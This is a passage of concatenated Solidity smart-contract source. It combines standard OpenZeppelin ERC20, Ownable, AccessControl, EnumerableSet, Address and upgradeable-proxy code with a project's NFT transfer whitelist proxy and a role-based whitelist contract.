alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/access/Ownable.sol"; import "../interfaces/IWhitelist.sol"; /// @title WhitelistProxy /// /// @dev This contract abstracts the whitelisting implementation to the caller, ie, ERC721 & ERC1155 tokens /// The logic can be replaced and the `canTransfer` will invoke the proper target function. It's important /// to mention that no storage is shared between this contract and the corresponding implementation /// call is used instead of delegate call to avoid different implementations storage compatibility. contract WhitelistProxy is IWhitelist, Ownable { event ImplementationChanged(address indexed _oldImplementation, address indexed _newImplementation); //The address of the whitelist implementation IWhitelist public whitelist; constructor(IWhitelist _whitelist) { require(address(_whitelist) != address(0), "invalid address"); whitelist = _whitelist; } /** * @param _who the address that wants to transfer a NFT * @dev Returns true if address has permission to transfer a NFT */ function canTransfer(address _who) external override returns (bool) { return whitelist.canTransfer(_who); } /** * @param _whitelist the address of the new whitelist implementation */ function updateImplementation(IWhitelist _whitelist) external onlyOwner { require(address(_whitelist) != address(0), "updateImplementation: invalid address"); emit ImplementationChanged(address(getImplementation()), address(_whitelist)); whitelist = _whitelist; } /** * @dev Returns the address of the actual whitelist implementation */ function getImplementation() public view returns (IWhitelist) { return whitelist; } } // SPDX-License-Identifier:UNLICENSED pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/access/AccessControl.sol"; import "../interfaces/IWhitelist.sol"; /// @title AccessControlBasedWhitelist /// /// @dev This contract is based in OpenZeppelin AccessControl that allows to implement role-based access contract AccessControlBasedWhitelist is IWhitelist, AccessControl { // Create a new role identifier for the transfer role bytes32 public constant TRANSFER_ROLE = keccak256("TRANSFER_ROLE"); constructor(address _trader) { require(_trader != address(0), "invalid address"); // Grant the transfer role to a specified account _setupRole(TRANSFER_ROLE, _trader); // Grant the contract deployer the default admin role: it will be able // to grant and revoke any roles _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); } /** * @param _who the address that wants to transfer a NFT * @dev Returns true if address has permission to transfer a NFT */ function canTransfer(address _who) external view override returns (bool) { return hasRole(TRANSFER_ROLE, _who); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Proxy.sol"; import "../utils/Address.sol"; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. * * Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see * {TransparentUpgradeableProxy}. */ contract UpgradeableProxy is Proxy { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) public payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _setImplementation(_logic); if(_data.length > 0) { Address.functionDelegateCall(_logic, _data); } } /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal virtual { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract"); bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newImplementation) } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./UpgradeableProxy.sol"; /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. */ contract TransparentUpgradeableProxy is UpgradeableProxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, address admin_, bytes memory _data) public payable UpgradeableProxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _setAdmin(admin_); } /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @dev Returns the current admin. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function admin() external ifAdmin returns (address admin_) { admin_ = _admin(); } /** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */ function changeAdmin(address newAdmin) external virtual ifAdmin { require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address"); emit AdminChanged(_admin(), newAdmin); 